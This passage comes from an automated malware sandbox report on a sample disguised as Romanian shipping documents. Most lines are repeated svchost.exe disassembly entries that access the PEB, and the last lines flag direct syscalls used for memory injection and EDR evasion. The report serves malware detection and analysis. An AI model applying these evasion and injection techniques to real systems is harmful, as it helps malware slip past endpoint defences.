                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B05A7 mov eax, dword ptr fs:[00000030h]1_2_030B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B05A7 mov eax, dword ptr fs:[00000030h]1_2_030B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B05A7 mov eax, dword ptr fs:[00000030h]1_2_030B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030545B1 mov eax, dword ptr fs:[00000030h]1_2_030545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030545B1 mov eax, dword ptr fs:[00000030h]1_2_030545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E5CF mov eax, dword ptr fs:[00000030h]1_2_0306E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E5CF mov eax, dword ptr fs:[00000030h]1_2_0306E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030365D0 mov eax, dword ptr fs:[00000030h]1_2_030365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A5D0 mov eax, dword ptr fs:[00000030h]1_2_0306A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A5D0 mov eax, dword ptr fs:[00000030h]1_2_0306A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E5E7 mov eax, dword ptr fs:[00000030h]1_2_0305E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030325E0 mov eax, dword ptr fs:[00000030h]1_2_030325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C5ED mov eax, dword ptr fs:[00000030h]1_2_0306C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C5ED mov eax, dword ptr fs:[00000030h]1_2_0306C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03068402 mov eax, dword ptr fs:[00000030h]1_2_03068402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03068402 mov eax, dword ptr fs:[00000030h]1_2_03068402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03068402 mov eax, dword ptr fs:[00000030h]1_2_03068402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302E420 mov eax, dword ptr fs:[00000030h]1_2_0302E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302E420 mov eax, dword ptr fs:[00000030h]1_2_0302E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302E420 mov eax, dword ptr fs:[00000030h]1_2_0302E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302C427 mov eax, dword ptr fs:[00000030h]1_2_0302C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B6420 mov eax, dword ptr fs:[00000030h]1_2_030B6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E443 mov eax, dword ptr fs:[00000030h]1_2_0306E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EA456 mov eax, dword ptr fs:[00000030h]1_2_030EA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302645D mov eax, dword ptr fs:[00000030h]1_2_0302645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305245A mov eax, dword ptr fs:[00000030h]1_2_0305245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BC460 mov ecx, dword ptr fs:[00000030h]1_2_030BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305A470 mov eax, dword ptr fs:[00000030h]1_2_0305A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305A470 mov eax, dword ptr fs:[00000030h]1_2_0305A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305A470 mov eax, dword ptr fs:[00000030h]1_2_0305A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EA49A mov eax, dword ptr fs:[00000030h]1_2_030EA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030364AB mov eax, dword ptr fs:[00000030h]1_2_030364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030644B0 mov ecx, dword ptr fs:[00000030h]1_2_030644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BA4B0 mov eax, dword ptr fs:[00000030h]1_2_030BA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030304E5 mov ecx, dword ptr fs:[00000030h]1_2_030304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AEB1D mov eax, dword ptr fs:[00000030h]1_2_030AEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305EB20 mov eax, dword ptr fs:[00000030h]1_2_0305EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305EB20 mov eax, dword ptr fs:[00000030h]1_2_0305EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F8B28 mov eax, dword ptr fs:[00000030h]1_2_030F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F8B28 mov eax, dword ptr fs:[00000030h]1_2_030F8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E4B4B mov eax, dword ptr fs:[00000030h]1_2_030E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E4B4B mov eax, dword ptr fs:[00000030h]1_2_030E4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C6B40 mov eax, dword ptr fs:[00000030h]1_2_030C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C6B40 mov eax, dword ptr fs:[00000030h]1_2_030C6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FAB40 mov eax, dword ptr fs:[00000030h]1_2_030FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D8B42 mov eax, dword ptr fs:[00000030h]1_2_030D8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DEB50 mov eax, dword ptr fs:[00000030h]1_2_030DEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302CB7E mov eax, dword ptr fs:[00000030h]1_2_0302CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040BBE mov eax, dword ptr fs:[00000030h]1_2_03040BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040BBE mov eax, dword ptr fs:[00000030h]1_2_03040BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E4BB0 mov eax, dword ptr fs:[00000030h]1_2_030E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E4BB0 mov eax, dword ptr fs:[00000030h]1_2_030E4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03050BCB mov eax, dword ptr fs:[00000030h]1_2_03050BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03050BCB mov eax, dword ptr fs:[00000030h]1_2_03050BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03050BCB mov eax, dword ptr fs:[00000030h]1_2_03050BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030BCD mov eax, dword ptr fs:[00000030h]1_2_03030BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030BCD mov eax, dword ptr fs:[00000030h]1_2_03030BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030BCD mov eax, dword ptr fs:[00000030h]1_2_03030BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DEBD0 mov eax, dword ptr fs:[00000030h]1_2_030DEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038BF0 mov eax, dword ptr fs:[00000030h]1_2_03038BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038BF0 mov eax, dword ptr fs:[00000030h]1_2_03038BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038BF0 mov eax, dword ptr fs:[00000030h]1_2_03038BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305EBFC mov eax, dword ptr fs:[00000030h]1_2_0305EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BCBF0 mov eax, dword ptr fs:[00000030h]1_2_030BCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BCA11 mov eax, dword ptr fs:[00000030h]1_2_030BCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306CA24 mov eax, dword ptr fs:[00000030h]1_2_0306CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305EA2E mov eax, dword ptr fs:[00000030h]1_2_0305EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03054A35 mov eax, dword ptr fs:[00000030h]1_2_03054A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03054A35 mov eax, dword ptr fs:[00000030h]1_2_03054A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03036A50 mov eax, dword ptr fs:[00000030h]1_2_03036A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040A5B mov eax, dword ptr fs:[00000030h]1_2_03040A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040A5B mov eax, dword ptr fs:[00000030h]1_2_03040A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306CA6F mov eax, dword ptr fs:[00000030h]1_2_0306CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306CA6F mov eax, dword ptr fs:[00000030h]1_2_0306CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306CA6F mov eax, dword ptr fs:[00000030h]1_2_0306CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DEA60 mov eax, dword ptr fs:[00000030h]1_2_030DEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030ACA72 mov eax, dword ptr fs:[00000030h]1_2_030ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030ACA72 mov eax, dword ptr fs:[00000030h]1_2_030ACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA80 mov eax, dword ptr fs:[00000030h]1_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03104A80 mov eax, dword ptr fs:[00000030h]1_2_03104A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03068A90 mov edx, dword ptr fs:[00000030h]1_2_03068A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038AA0 mov eax, dword ptr fs:[00000030h]1_2_03038AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03038AA0 mov eax, dword ptr fs:[00000030h]1_2_03038AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03086AA4 mov eax, dword ptr fs:[00000030h]1_2_03086AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03086ACC mov eax, dword ptr fs:[00000030h]1_2_03086ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03086ACC mov eax, dword ptr fs:[00000030h]1_2_03086ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03086ACC mov eax, dword ptr fs:[00000030h]1_2_03086ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030AD0 mov eax, dword ptr fs:[00000030h]1_2_03030AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03064AD0 mov eax, dword ptr fs:[00000030h]1_2_03064AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03064AD0 mov eax, dword ptr fs:[00000030h]1_2_03064AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306AAEE mov eax, dword ptr fs:[00000030h]1_2_0306AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306AAEE mov eax, dword ptr fs:[00000030h]1_2_0306AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE908 mov eax, dword ptr fs:[00000030h]1_2_030AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AE908 mov eax, dword ptr fs:[00000030h]1_2_030AE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BC912 mov eax, dword ptr fs:[00000030h]1_2_030BC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03028918 mov eax, dword ptr fs:[00000030h]1_2_03028918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03028918 mov eax, dword ptr fs:[00000030h]1_2_03028918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B892A mov eax, dword ptr fs:[00000030h]1_2_030B892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C892B mov eax, dword ptr fs:[00000030h]1_2_030C892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B0946 mov eax, dword ptr fs:[00000030h]1_2_030B0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03056962 mov eax, dword ptr fs:[00000030h]1_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03056962 mov eax, dword ptr fs:[00000030h]1_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03056962 mov eax, dword ptr fs:[00000030h]1_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307096E mov eax, dword ptr fs:[00000030h]1_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307096E mov edx, dword ptr fs:[00000030h]1_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307096E mov eax, dword ptr fs:[00000030h]1_2_0307096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D4978 mov eax, dword ptr fs:[00000030h]1_2_030D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D4978 mov eax, dword ptr fs:[00000030h]1_2_030D4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BC97C mov eax, dword ptr fs:[00000030h]1_2_030BC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A0 mov eax, dword ptr fs:[00000030h]1_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030309AD mov eax, dword ptr fs:[00000030h]1_2_030309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030309AD mov eax, dword ptr fs:[00000030h]1_2_030309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B89B3 mov esi, dword ptr fs:[00000030h]1_2_030B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B89B3 mov eax, dword ptr fs:[00000030h]1_2_030B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B89B3 mov eax, dword ptr fs:[00000030h]1_2_030B89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C69C0 mov eax, dword ptr fs:[00000030h]1_2_030C69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]1_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]1_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]1_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]1_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]1_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303A9D0 mov eax, dword ptr fs:[00000030h]1_2_0303A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030649D0 mov eax, dword ptr fs:[00000030h]1_2_030649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FA9D3 mov eax, dword ptr fs:[00000030h]1_2_030FA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BE9E0 mov eax, dword ptr fs:[00000030h]1_2_030BE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030629F9 mov eax, dword ptr fs:[00000030h]1_2_030629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030629F9 mov eax, dword ptr fs:[00000030h]1_2_030629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BC810 mov eax, dword ptr fs:[00000030h]1_2_030BC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]1_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]1_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]1_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052835 mov ecx, dword ptr fs:[00000030h]1_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]1_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052835 mov eax, dword ptr fs:[00000030h]1_2_03052835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306A830 mov eax, dword ptr fs:[00000030h]1_2_0306A830
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D483A mov eax, dword ptr fs:[00000030h]1_2_030D483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D483A mov eax, dword ptr fs:[00000030h]1_2_030D483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03042840 mov ecx, dword ptr fs:[00000030h]1_2_03042840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03060854 mov eax, dword ptr fs:[00000030h]1_2_03060854
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034859 mov eax, dword ptr fs:[00000030h]1_2_03034859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03034859 mov eax, dword ptr fs:[00000030h]1_2_03034859
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BE872 mov eax, dword ptr fs:[00000030h]1_2_030BE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BE872 mov eax, dword ptr fs:[00000030h]1_2_030BE872
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C6870 mov eax, dword ptr fs:[00000030h]1_2_030C6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C6870 mov eax, dword ptr fs:[00000030h]1_2_030C6870
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030887 mov eax, dword ptr fs:[00000030h]1_2_03030887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BC89D mov eax, dword ptr fs:[00000030h]1_2_030BC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305E8C0 mov eax, dword ptr fs:[00000030h]1_2_0305E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FA8E4 mov eax, dword ptr fs:[00000030h]1_2_030FA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C8F9 mov eax, dword ptr fs:[00000030h]1_2_0306C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306C8F9 mov eax, dword ptr fs:[00000030h]1_2_0306C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E6F00 mov eax, dword ptr fs:[00000030h]1_2_030E6F00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03032F12 mov eax, dword ptr fs:[00000030h]1_2_03032F12
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306CF1F mov eax, dword ptr fs:[00000030h]1_2_0306CF1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305EF28 mov eax, dword ptr fs:[00000030h]1_2_0305EF28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B4F40 mov eax, dword ptr fs:[00000030h]1_2_030B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B4F40 mov eax, dword ptr fs:[00000030h]1_2_030B4F40
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00D3A66C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D28189 SetUnhandledExceptionFilter,0_2_00D28189
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D281AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00D281AC

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtWriteVirtualMemory: Direct from: 0x76F0490CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtClose: Direct from: 0x76F02B6C
